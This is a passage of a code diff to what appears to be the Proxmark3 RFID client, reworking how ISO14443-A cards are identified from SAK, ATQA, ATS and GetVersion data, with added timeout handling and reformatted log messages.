(version_hw->major_product_version) { + case 0x01: + major_product_version_str = "2xx"; + break; + case 0x02: + major_product_version_str = "210µ"; + break; + case 0x03: + major_product_version_str = "213 TT"; + break; + case 0x10: + // Not sure about its product type = 4 + major_product_version_str = "413 DNA"; + break; + case 0x30: + major_product_version_str = "4xx"; + break; + default: + major_product_version_str = "n/a"; + } + break; + } + case 0x7: { + product_type_str = "NTAG I2C"; + break; + } + case 0x8: { + product_type_str = "MIFARE DESFire Light"; + break; + } + case 0x9: { + product_type_str = "MIFARE Hospitality"; + switch (version_hw->major_product_version) { + case 0x01: + major_product_version_str = "AES"; + break; + default: + major_product_version_str = "n/a"; + } + break; + } + default: { + product_type_str = "Unknown NXP tag"; + break; + } + } + + if (storage_size_str == NULL) { + static char size_str[16]; + uint16_t usize = 1 << ((version_hw->storage_size >> 1) + 1); + uint16_t lsize = 1 << (version_hw->storage_size >> 1); + + // is LSB set? + if ((version_hw->storage_size & 0x01) == 1) { + + // if set, its a range between upper size and lower size + + if (lsize < 1024) { + snprintf(size_str, sizeof(size_str), "%u - %uB", usize, lsize); } else { - - if ((atqa & 0x0001) == 0x0001) { - printTag("HID SEOS (smartmx / javacard)"); - type |= HID_SEOS; - } else { - printTag("MIFARE Plus EV1 2K/4K in SL3"); - printTag("MIFARE Plus S 2K/4K in SL3"); - printTag("MIFARE Plus X 2K/4K in SL3"); - printTag("MIFARE Plus SE 1K"); - type |= MTPLUS; - } - - if ((atqa & 0x0004) == 0x0004) { - printTag("EMV"); - type |= MTEMV; - } + snprintf(size_str, sizeof(size_str), "%d - %dK", (usize / 1024), (lsize / 1024)); } - printTag("NTAG 4xx"); - type |= (MTDESFIRE | MT424); + } else { + + // if not set, it's lower size + if (lsize < 1024) { + snprintf(size_str, sizeof(size_str), "%uB", lsize); + } else { + snprintf(size_str, sizeof(size_str), "%dK", (lsize / 1024)); + } } - } else if ((sak & 0x04) == 0x04) { - printTag("Any MIFARE CL1"); - type |= MTDESFIRE; + + storage_size_str = size_str; + + } + } + + char tag_info[128]; + + if ((sak & 0x44) == 0x40) { + // ISO18092 Table 15: Target compliant with NFC transport protocol + if ((atqa & 0x0110) == 0x0110) { + printTag("P2P Support / Proprietary"); } else { - printTag("MIFARE Ultralight"); - printTag("MIFARE Ultralight C"); - printTag("MIFARE Ultralight EV1"); - printTag("MIFARE Ultralight Nano"); - printTag("MIFARE Ultralight AES"); - printTag("MIFARE Hospitality"); - printTag("NTAG 2xx"); - type |= MTULTRALIGHT; + printTag("P2P Support / Android"); } - } else if ((sak & 0x0A) == 0x0A) { + type |= MTISO18092; + } - if ((atqa & 0x0003) == 0x0003) { - // Uses Shanghai algo - printTag("FM11RF005SH (FUDAN Shanghai Metro)"); - type |= MTFUDAN; - } else if ((atqa & 0x0005) == 0x0005) { - printTag("FM11RF005M (FUDAN ISO14443A w Crypto-1 algo)"); + if ((sak & 0x02) == 0x00) { // SAK b2=0 + + if ((sak & 0x08) == 0x08) { // SAK b2=0 b4=1 + + if ((sak & 0x10) == 0x10) { // SAK b2=0 b4=1 b5=1 + + if ((sak & 0x01) == 0x01) { // SAK b2=0 b4=1 b5=1 b1=1, SAK=0x19 + printTag("MIFARE Classic 2K"); + type |= MTCLASSIC; + } else { // SAK b2=0 b4=1 b5=1 b1=0 + + if ((sak & 0x20) == 0x20) { // SAK b2=0 b4=1 b5=1 b1=0 b6=1, SAK=0x38 + printTag("SmartMX with MIFARE Classic 4K"); + type |= MTCLASSIC; + } else { // SAK b2=0 b4=1 b5=1 b1=0 b6=0 + + if (select_status == 4) { // SAK b2=0 b4=1 b5=1 b1=0 b6=0 ATS + + if (version_hw_available) { // SAK b2=0 b4=1 b5=1 b1=0 b6=0 ATS GetVersion + snprintf(tag_info, sizeof(tag_info), "%s %s %s in SL1", product_type_str, major_product_version_str, storage_size_str); + printTag(tag_info); + type |= MTPLUS; + + } else { // SAK b2=0 b4=1 b5=1 b1=0 b6=0 ATS No_GetVersion + + if (ats_hist_len > 0) { + + if ((ats_hist_len == 9) && (memcmp(ats_hist, "\xC1\x05\x2F\x2F", 4) == 0)) { + + if (memcmp(ats_hist + 4, "\x00\x35\xC7", 3) == 0) { + printTag("MIFARE Plus S 4K in SL1"); + } else if (memcmp(ats_hist + 4, "\x01\xBC\xD6", 3) == 0) { + printTag("MIFARE Plus X 4K in SL1"); + } else { + printTag("Unrecognized MIFARE Plus??"); + } + type |= MTPLUS; + } else { + if ((atqa & 0x0040) == 0x0040) { + printTag("MIFARE Classic 4K CL2 with ATS!"); + } else { + printTag("MIFARE Classic 4K with ATS!"); + } + type |= MTCLASSIC; + } + } + } + + } else { // SAK b2=0 b4=1 b5=1 b1=0 b6=0 no_ATS, SAK=0x18 + + if ((atqa & 0x0040) == 0x0040) { + printTag("MIFARE Classic 4K CL2"); + } else { + printTag("MIFARE Classic 4K"); + } + type |= MTCLASSIC; + } + } + } + + } else { // SAK b2=0 b4=1 b5=0 + + if ((sak & 0x01) == 0x01) { // SAK b2=0 b4=1 b5=0 b1=1, SAK=0x09 + + if ((atqa & 0x0040) == 0x0040) { + printTag("MIFARE Mini 0.3K CL2"); + } else { + printTag("MIFARE Mini 0.3K"); + } + type |= MTMINI; + + } else { // SAK b2=0 b4=1 b5=0 b1=0 + + if ((sak & 0x20) == 0x20) { // SAK b2=0 b4=1 b5=0 b1=0 b6=1, SAK=0x28 + printTag("SmartMX with MIFARE Classic 1K"); + printTag("FM1208-10 with MIFARE Classic 1K"); + printTag("FM1216-137 with MIFARE Classic 1K"); + type |= MTCLASSIC; + } else { // SAK b2=0 b4=1 b5=0 b1=0 b6=0 + + if (select_status == 4) { // SAK b2=0 b4=1 b5=0 b1=0 b6=0 ATS + + if (version_hw_available) { // SAK b2=0 b4=1 b5=0 b1=0 b6=0 ATS GetVersion + snprintf(tag_info, sizeof(tag_info), "%s %s %s in SL1", product_type_str, major_product_version_str, storage_size_str); + printTag(tag_info); + type |= MTPLUS; + + } else { // SAK b2=0 b4=1 b5=0 b1=0 b6=0 ATS No_GetVersion + + if (ats_hist_len > 0) { + + if ((ats_hist_len == 9) && (memcmp(ats_hist, "\xC1\x05\x2F\x2F", 4) == 0)) { + + if (memcmp(ats_hist + 4, "\x00\x35\xC7", 3) == 0) { + printTag("MIFARE Plus S 2K in SL1"); + } else if (memcmp(ats_hist + 4, "\x01\xBC\xD6", 3) == 0) { + printTag("MIFARE Plus X 2K in SL1"); + } else { + printTag("Unrecognized MIFARE Plus??"); + } + type |= MTPLUS; + + } else if ((ats_hist_len == 9) && (memcmp(ats_hist, "\xC1\x05\x21\x30", 4) == 0)) { + + if (memcmp(ats_hist + 4, "\x00\xF6\xD1", 3) == 0) { + printTag("MIFARE Plus SE 1K 17pF"); + } else if (memcmp(ats_hist + 4, "\x10\xF6\xD1", 3) == 0) { + printTag("MIFARE Plus SE 1K 70pF"); + } else { + printTag("Unrecognized MIFARE Plus SE??"); + } + type |= MTPLUS; + + } else { + + if ((atqa & 0x0040) == 0x0040) { + printTag("MIFARE Classic 1K CL2 with ATS!"); + } else { + printTag("MIFARE Classic 1K with ATS!"); + } + type |= MTCLASSIC; + } + } + } + } else { // SAK b2=0 b4=1 b5=0 b1=0 b6=0 no_ATS, SAK=0x08 + if ((atqa & 0x0040) == 0x0040) { + printTag("MIFARE Classic 1K CL2"); + } else { + printTag("MIFARE Classic 1K"); + } + type |= MTCLASSIC; + } + } + } + } + + } else { // SAK b2=0 b4=0 + + if ((sak & 0x10) == 0x10) { // SAK b2=0 b4=0 b5=1 + + if ((sak & 0x01) == 0x01) { // SAK b2=0 b4=0 b5=1 b1=1, SAK=0x11 + printTag("MIFARE Plus 4K in SL2"); + } else { // SAK b2=0 b4=0 b5=1 b1=0, SAK=0x10 + printTag("MIFARE Plus 2K in SL2"); + } + type |= MTPLUS; + + } else { // SAK b2=0 b4=0 b5=0 + + if ((sak & 0x01) == 0x01) { // SAK b2=0 b4=0 b5=0 b1=1 + printTag("TNP3xxx (TagNPlay, Activision Game Appliance)"); + type |= MTCLASSIC; + + } else { // SAK b2=0 b4=0 b5=0 b1=0 + + if ((sak & 0x20) == 0x20) { // SAK b2=0 b4=0 b5=0 b1=0 b6=1, SAK=0x20 + + if (select_status == 1) { // SAK b2=0 b4=0 b5=0 b1=0 b6=1 ATS + + if (version_hw_available) { // SAK b2=0 b4=0 b5=0 b1=0 b6=1 ATS GetVersion + + if ((version_hw->product_type & 0x7F) == 0x02) { + snprintf(tag_info, sizeof(tag_info), "%s %s %s in SL0/SL3", product_type_str, major_product_version_str, storage_size_str); + type |= MTPLUS; + + } else if (((version_hw->product_type & 0x7F) == 0x01) || + (version_hw->product_type == 0x08) || + (version_hw->product_type == 0x91)) { + snprintf(tag_info, sizeof(tag_info), "%s %s %s", product_type_str, major_product_version_str, storage_size_str); + type |= MTDESFIRE; + + } else if (version_hw->product_type == 0x04) { + snprintf(tag_info, sizeof(tag_info), "%s %s %s", product_type_str, major_product_version_str, storage_size_str); + type |= (MTDESFIRE | MT424); + + } else { + snprintf(tag_info, sizeof(tag_info), "%s %s %s", product_type_str, major_product_version_str, storage_size_str); + } + printTag(tag_info); + + } else { // SAK b2=0 b4=0 b5=0 b1=0 b6=1 ATS No GetVersion + + if (ats_hist_len > 0) { + + if ((ats_hist_len == 9) && (memcmp(ats_hist, "\xC1\x05\x2F\x2F", 4) == 0)) { + + if (memcmp(ats_hist + 4, "\x00\x35\xC7", 3) == 0) { + + if ((atqa & 0xFF0F) == 0x0004) { + printTag("MIFARE Plus S 2K in SL0/SL3"); + } else if ((atqa & 0xFF0F) == 0x0002) { + printTag("MIFARE Plus S 4K in SL0/SL3"); + } else { + printTag("Unrecognized MIFARE Plus??"); + } + + } else if (memcmp(ats_hist + 4, "\x01\xBC\xD6", 3) == 0) { + printTag("MIFARE Plus X 2K/4K in SL0/SL3"); + + } else if (memcmp(ats_hist + 4, "\x00\xF6\xD1", 3) == 0) { + printTag("MIFARE Plus SE 1K 17pF"); + + } else if (memcmp(ats_hist + 4, "\x10\xF6\xD1", 3) == 0) { + printTag("MIFARE Plus SE 1K 70pF"); + + } else { + printTag("Unknown MIFARE Plus"); + } + type |= MTPLUS; + + } else { + + if ((atqa == 0x0001) || (atqa == 0x0004)) { + printTag("HID SEOS (smartmx / javacard)"); + type |= HID_SEOS; + } + + if (atqa == 0x0004) { + printTag("EMV"); + type |= MTEMV; + } + } + } + } + } else { + printTag("Unknown tag claims to support RATS in SAK but does not..."); + } + + } else { // SAK b2=0 b4=0 b5=0 b1=0 b6=0, SAK=0x00 + + if (version_hw_available) { // SAK b2=0 b4=0 b5=0 b1=0 b6=0 GetVersion + snprintf(tag_info, sizeof(tag_info), "%s %s %s", product_type_str, major_product_version_str, storage_size_str); + printTag(tag_info); + + } else { // SAK b2=0 b4=0 b5=0 b1=0 b6=0 No_GetVersion + + int status = mfuc_test_authentication_support(); + if (status == PM3_SUCCESS) { + // TODO: read page 2/3, then ?? + printTag("MIFARE Ultralight C"); + printTag("MIFARE Hospitality"); + type |= MTULTRALIGHT_C; + + } else { + printTag("MIFARE Ultralight"); + } + + } + type |= MTULTRALIGHT; + } + } + } + } + } else { // SAK b2=1 + + if (sak == 0x0A) { + + if (atqa == 0x0003) { + // Uses Shanghai algo + printTag("FM11RF005SH (FUDAN Shanghai Metro)"); + type |= MTFUDAN; + + } else if (atqa == 0x0005) { + printTag("FM11RF005M (FUDAN ISO14443A w Crypto-1 algo)"); + type |= MTFUDAN; + } + + } else if (sak == 0x53) { + printTag("FM11RF08SH (FUDAN)"); type |= MTFUDAN; } - } else if ((sak & 0x53) == 0x53) { - printTag("FM11RF08SH (FUDAN)"); - type |= MTFUDAN; } if (type == MTNONE) { @@ -2046,7 +2586,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { PrintAndLogEx(DEBUG, "iso14443a card select timeout"); DropField(); - return 0; + return PM3_ETIMEOUT; } iso14a_card_select_t card; @@ -2057,6 +2597,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { 1: OK, with ATS 2: OK, no ATS 3: proprietary Anticollision + 4: OK, SAK = no ATS but RATS possible (tested below) */ uint64_t select_status = resp.oldarg[0]; @@ -2077,20 +2618,50 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { // identify TOPAZ if (card.atqa[1] == 0x0C && card.atqa[0] == 0x00) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf topaz info`")); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf topaz info`")); } DropField(); return select_status; } - if (verbose) { - PrintAndLogEx(INFO, "--- " _CYAN_("ISO14443-a Information") "---------------------"); + // 2: try to request ATS even if tag claims not to support it. If yes => 4 + if (select_status == 2) { + uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 + clearCommandBuffer(); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, sizeof(rats)); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + memcpy(card.ats, resp.data.asBytes, resp.oldarg[0]); + card.ats_len = resp.oldarg[0]; // note: ats_len includes CRC Bytes + if (card.ats_len > 3) { + select_status = 4; + } + } + uint8_t ats_hist_pos = 0; + if ((card.ats_len > 3) && (card.ats[0] > 1)) { + ats_hist_pos = 2; + ats_hist_pos += (card.ats[1] & 0x10) == 0x10; + ats_hist_pos += (card.ats[1] & 0x20) == 0x20; + ats_hist_pos += (card.ats[1] & 0x40) == 0x40; } + + version_hw_t version_hw = {0}; + // if 4b UID or NXP, try to get version + int res = hf14a_getversion_data(&card, select_status, &version_hw); + bool version_hw_available = (res == PM3_SUCCESS); + + PrintAndLogEx(INFO, "---------- " _CYAN_("ISO14443-A Information") " ----------"); PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s") " %s", sprint_hex(card.uid, card.uidlen), get_uid_type(&card)); PrintAndLogEx(SUCCESS, "ATQA: " _GREEN_("%02X %02X"), card.atqa[1], card.atqa[0]); - PrintAndLogEx(SUCCESS, " SAK: " _GREEN_("%02X [%" PRIu64 "]"), card.sak, resp.oldarg[0]); + PrintAndLogEx(SUCCESS, " SAK: " _GREEN_("%02X [%" PRIu64 "]"), card.sak, select_status); + if (version_hw_available) { + PrintAndLogEx(DEBUG, "GetV: " _GREEN_("%s"), sprint_hex((uint8_t *)&version_hw, sizeof(version_hw))); + } bool isMifareMini = false; bool isMifareClassic = true; @@ -2106,7 +2677,12 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { int nxptype = MTNONE; if (card.uidlen <= 4) { - nxptype = detect_nxp_card_print(card.sak, ((card.atqa[1] << 8) + card.atqa[0]), select_status); + + PrintAndLogEx(SUCCESS, "Possible types:"); + nxptype = detect_nxp_card_print(card.sak, ((card.atqa[1] << 8) + card.atqa[0]), + select_status, card.ats_len - ats_hist_pos, card.ats + ats_hist_pos, + version_hw_available, &version_hw + ); isMifareMini = ((nxptype & MTMINI) == MTMINI); isMifareClassic = ((nxptype & MTCLASSIC) == MTCLASSIC); @@ -2125,15 +2701,20 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } else { // Double & triple sized UID, can be mapped to a manufacturer. - PrintAndLogEx(SUCCESS, "MANUFACTURER: " _YELLOW_("%s"), getTagInfo(card.uid[0])); + PrintAndLogEx(SUCCESS, " " _YELLOW_("%s"), getTagInfo(card.uid[0])); + PrintAndLogEx(SUCCESS, "Possible types:"); switch (card.uid[0]) { - case 0x02: // ST + case 0x02: { // ST isST = true; isMifareClassic = false; break; - case 0x04: // NXP - nxptype = detect_nxp_card_print(card.sak, ((card.atqa[1] << 8) + card.atqa[0]), select_status); + } + case 0x04: { // NXP + nxptype = detect_nxp_card_print(card.sak, ((card.atqa[1] << 8) + card.atqa[0]), + select_status, card.ats_len - ats_hist_pos, card.ats + ats_hist_pos, + version_hw_available, &version_hw + ); isMifareMini = ((nxptype & MTMINI) == MTMINI); isMifareClassic = ((nxptype & MTCLASSIC) == MTCLASSIC); @@ -2142,17 +2723,21 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { isMifareUltralight = ((nxptype & MTULTRALIGHT) == MTULTRALIGHT); isNTAG424 = ((nxptype & MT424) == MT424); - if ((nxptype & MTOTHER) == MTOTHER) + if ((nxptype & MTOTHER) == MTOTHER) { isMifareClassic = true; + } - if ((nxptype & MTFUDAN) == MTFUDAN) + if ((nxptype & MTFUDAN) == MTFUDAN) { isFUDAN = true; + } - if ((nxptype & MTEMV) == MTEMV) + if ((nxptype & MTEMV) == MTEMV) { isEMV = true; + } break; - case 0x05: // Infineon + } + case 0x05: { // Infineon if ((card.uid[1] & 0xF0) == 0x10) { printTag("my-d(tm) command set SLE 66R04/16/32P, SLE 66R04/16/32S"); } else if ((card.uid[1] & 0xF0) == 0x20) { @@ -2172,19 +2757,22 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } getTagLabel(card.uid[0], card.uid[1]); break; - case 0x46: + } + case 0x46: { if (memcmp(card.uid, "FSTN10m", 7) == 0) { isMifareClassic = false; printTag("Waveshare NFC-Powered e-Paper 1.54\" (please disregard MANUFACTURER mapping above)"); } break; - case 0x57: + } + case 0x57: { if (memcmp(card.uid, "WSDZ10m", 7) == 0) { isMifareClassic = false; printTag("Waveshare NFC-Powered e-Paper (please disregard MANUFACTURER mapping above)"); } break; - default: + } + default: { getTagLabel(card.uid[0], card.uid[1]); switch (card.sak) { case 0x00: { @@ -2205,7 +2793,11 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { // reconnect for further tests clearCommandBuffer(); SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); - WaitForResponse(CMD_ACK, &resp); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + DropField(); + return PM3_ETIMEOUT; + } memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); @@ -2253,25 +2845,13 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } } break; + } } } - // try to request ATS even if tag claims not to support it - if (select_status == 2) { - uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 - clearCommandBuffer(); - SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, sizeof(rats)); - WaitForResponse(CMD_ACK, &resp); - - memcpy(card.ats, resp.data.asBytes, resp.oldarg[0]); - card.ats_len = resp.oldarg[0]; // note: ats_len includes CRC Bytes - if (card.ats_len > 3) - select_status = 1; - } - if (card.ats_len >= 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes - PrintAndLogEx(INFO, "-------------------------- " _CYAN_("ATS") " --------------------------"); + PrintAndLogEx(INFO, "-------------------------- " _CYAN_("ATS") " ----------------------------------"); bool ta1 = 0, tb1 = 0, tc1 = 0; if (select_status == 2) { @@ -2285,6 +2865,15 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { bad_ats = true; } + if ( + (card.ats_len == 7 && memcmp(card.ats, "\x05\x78\x77\x80\x02\x9C\x3A", 7) == 0) || + (card.ats_len == 7 && memcmp(card.ats, "\x05\x78\x77\x94\x02\x6D\xC8", 7) == 0) + ) { + isSEOS = true; + isNTAG424 = false; + isMifareDESFire = false; + } + PrintAndLogEx(SUCCESS, "ATS: " _YELLOW_("%s")"[ %02X %02X ]", sprint_hex(card.ats, card.ats_len - 2), card.ats[card.ats_len - 2], card.ats[card.ats_len - 1]); PrintAndLogEx(INFO, " " _YELLOW_("%02X") "............... TL length is " _GREEN_("%d") " bytes", card.ats[0], card.ats[0]); @@ -2296,7 +2885,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { tc1 = (card.ats[1] & 0x40) == 0x40; int16_t fsci = card.ats[1] & 0x0f; - PrintAndLogEx(INFO, " " _YELLOW_("%02X") "............ T0 TA1 is%s present, TB1 is%s present, " + PrintAndLogEx(INFO, " ..." _YELLOW_("%02X") "............ T0 TA1 is%s present, TB1 is%s present, " "TC1 is%s present, FSCI is %d (FSC = %d)", card.ats[1], (ta1 ? "" : _RED_(" NOT")), @@ -2318,7 +2907,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (card.ats[pos] & 0x04) strcat(dr, "8, "); if (strlen(ds) != 0) ds[strlen(ds) - 2] = '\0'; if (strlen(dr) != 0) dr[strlen(dr) - 2] = '\0'; - PrintAndLogEx(INFO, " " _YELLOW_("%02X") "......... TA1 different divisors are%s supported, " + PrintAndLogEx(INFO, " ......" _YELLOW_("%02X") "......... TA1 different divisors are%s supported, " "DR: [%s], DS: [%s]", card.ats[pos], ((card.ats[pos] & 0x80) ? _RED_(" NOT") : ""), @@ -2333,7 +2922,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { uint32_t sfgi = card.ats[pos] & 0x0F; uint32_t fwi = card.ats[pos] >> 4; - PrintAndLogEx(INFO, " " _YELLOW_("%02X") "...... TB1 SFGI = %d (SFGT = %s%d/fc), FWI = " _YELLOW_("%d") " (FWT = %d/fc)", + PrintAndLogEx(INFO, " ........." _YELLOW_("%02X") "...... TB1 SFGI = %d (SFGT = %s%d/fc), FWI = " _YELLOW_("%d") " (FWT = %d/fc)", card.ats[pos], (sfgi), sfgi ? "" : "(not needed) ", @@ -2345,7 +2934,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } if (tc1 && (card.ats_len > pos + 2)) { - PrintAndLogEx(INFO, " " _YELLOW_("%02X") "... TC1 NAD is%s supported, CID is%s supported", + PrintAndLogEx(INFO, " ............" _YELLOW_("%02X") "... TC1 NAD is%s supported, CID is%s supported", card.ats[pos], (card.ats[pos] & 0x01) ? "" : _RED_(" NOT"), (card.ats[pos] & 0x02) ? "" : _RED_(" NOT") @@ -2355,61 +2944,12 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { // ATS - Historial bytes and identify based on it if ((card.ats[0] > pos) && (card.ats_len >= card.ats[0] + 2)) { - char tip[60]; - tip[0] = '\0'; - if (card.ats[0] - pos >= 7) { - - snprintf(tip, sizeof(tip), " "); - - if ((card.sak & 0x70) == 0x40) { // and no GetVersion().. - - if (memcmp(card.ats + pos, "\xC1\x05\x2F\x2F\x01\xBC\xD6", 7) == 0) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus X 2K/4K (SL3)"); - - } else if (memcmp(card.ats + pos, "\xC1\x05\x2F\x2F\x00\x35\xC7", 7) == 0) { - - if ((card.atqa[0] & 0x02) == 0x02) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus S 2K (SL3)"); - } else if ((card.atqa[0] & 0x04) == 0x04) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus S 4K (SL3)"); - } - - } else if (memcmp(card.ats + pos, "\xC1\x05\x21\x30\x00\xF6\xD1", 7) == 0) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus SE 1K (17pF)"); - - } else if (memcmp(card.ats + pos, "\xC1\x05\x21\x30\x10\xF6\xD1", 7) == 0) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus SE 1K (70pF)"); - } - - } else { //SAK B4,5,6 - - if ((card.sak & 0x20) == 0x20) { // and no GetVersion().. - - if (memcmp(card.ats + pos, "\xC1\x05\x2F\x2F\x01\xBC\xD6", 7) == 0) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus X 2K (SL1)"); - } else if (memcmp(card.ats + pos, "\xC1\x05\x2F\x2F\x00\x35\xC7", 7) == 0) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus S 2K (SL1)"); - } else if (memcmp(card.ats + pos, "\xC1\x05\x21\x30\x00\xF6\xD1", 7) == 0) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus SE 1K (17pF)"); - } else if (memcmp(card.ats + pos, "\xC1\x05\x21\x30\x10\xF6\xD1", 7) == 0) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus SE 1K (70pF)"); - } - } else { - if (memcmp(card.ats + pos, "\xC1\x05\x2F\x2F\x01\xBC\xD6", 7) == 0) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus X 4K (SL1)"); - } else if (memcmp(card.ats + pos, "\xC1\x05\x2F\x2F\x00\x35\xC7", 7) == 0) { - snprintf(tip + strlen(tip), sizeof(tip) - strlen(tip), _GREEN_("%s"), "MIFARE Plus S 4K (SL1)"); - } - } - } - } - uint8_t calen = card.ats[0] - pos; PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "-------------------- " _CYAN_("Historical bytes") " --------------------"); + PrintAndLogEx(INFO, "-------------------- " _CYAN_("Historical bytes") " ----------------------------"); if (card.ats[pos] == 0xC1) { - PrintAndLogEx(INFO, " %s%s", sprint_hex(card.ats + pos, calen), tip); + PrintAndLogEx(INFO, " %s", sprint_hex(card.ats + pos, calen)); PrintAndLogEx(SUCCESS, " C1..................... Mifare or (multiple) virtual cards of various type"); PrintAndLogEx(SUCCESS, " %02X.................. length is " _YELLOW_("%d") " bytes", card.ats[pos + 1], card.ats[pos + 1]); switch (card.ats[pos + 2] & 0xf0) { @@ -2484,11 +3024,8 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { , sprint_ascii(card.ats + pos, calen) ); } - - PrintAndLogEx(NORMAL, ""); } } - } if (do_aid_search) { @@ -2514,7 +3051,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { uint16_t sw = 0; uint8_t result[1024] = {0}; size_t resultlen = 0; - int res = Iso7816Select(CC_CONTACTLESS, ActivateField, true, vaid, vaidlen, result, sizeof(result), &resultlen, &sw); + res = Iso7816Select(CC_CONTACTLESS, ActivateField, true, vaid, vaidlen, result, sizeof(result), &resultlen, &sw); ActivateField = false; if (res) continue; @@ -2566,8 +3103,9 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } DropField(); - if (verbose == false && found) + if (verbose == false && found) { PrintAndLogEx(INFO, "----------------------------------------------------"); + } } } @@ -2577,7 +3115,9 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { PrintAndLogEx(INFO, "proprietary iso18092 card found"); } else { - PrintAndLogEx(INFO, "proprietary non iso14443-4 card found, RATS not supported"); + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "Proprietary non iso14443-4 card found"); + PrintAndLogEx(INFO, "RATS not supported"); if ((card.sak & 0x20) == 0x20) { PrintAndLogEx(INFO, "--> SAK incorrectly claims that card supports RATS <--"); } @@ -2588,11 +3128,11 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } } - if (setDeviceDebugLevel(verbose ? DBG_INFO : DBG_NONE, false) != PM3_SUCCESS) { + if (setDeviceDebugLevel(verbose ? MAX(dbg_curr, DBG_INFO) : DBG_NONE, false) != PM3_SUCCESS) { return PM3_EFAILED; } - PrintAndLogEx(INFO, ""); +// PrintAndLogEx(INFO, ""); uint16_t isMagic = 0; @@ -2605,25 +3145,20 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } if (isMifareClassic || isMifareMini) { - int res = detect_classic_static_nonce(); + res = detect_classic_static_nonce(); if (res == NONCE_STATIC) { - PrintAndLogEx(SUCCESS, "Static nonce......... " _YELLOW_("yes")); - } - - if (res == NONCE_FAIL && verbose) { - PrintAndLogEx(SUCCESS, "Static nonce......... " _RED_("read failed")); + PrintAndLogEx(SUCCESS, "Static nonce....... " _YELLOW_("yes")); } if (res == NONCE_NORMAL) { - // not static res = detect_classic_prng(); if (res == 1) { - PrintAndLogEx(SUCCESS, "Prng detection....... " _GREEN_("weak")); + PrintAndLogEx(SUCCESS, "Prng detection..... " _GREEN_("weak")); } else if (res == 0) { - PrintAndLogEx(SUCCESS, "Prng detection....... " _YELLOW_("hard")); + PrintAndLogEx(SUCCESS, "Prng detection..... " _YELLOW_("hard")); } else { - PrintAndLogEx(FAILED, "Prng detection........ " _RED_("fail")); + PrintAndLogEx(FAILED, "Prng detection...... " _RED_("fail")); } if (do_nack_test) { @@ -2646,38 +3181,42 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (isMifareUltralight) { if (((isMagic & MAGIC_FLAG_GEN_1A) == MAGIC_FLAG_GEN_1A) || ((isMagic & MAGIC_FLAG_GEN_1B) == MAGIC_FLAG_GEN_1B)) { - PrintAndLogEx(HINT, "Hint: use `" _YELLOW_("hf mfu *") "` magic commands"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("hf mfu *") "` magic commands"); } if ((isMagic & MAGIC_FLAG_NTAG21X) == MAGIC_FLAG_NTAG21X) { - PrintAndLogEx(HINT, "Hint: use `" _YELLOW_("hf mfu *") "` magic commands"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("hf 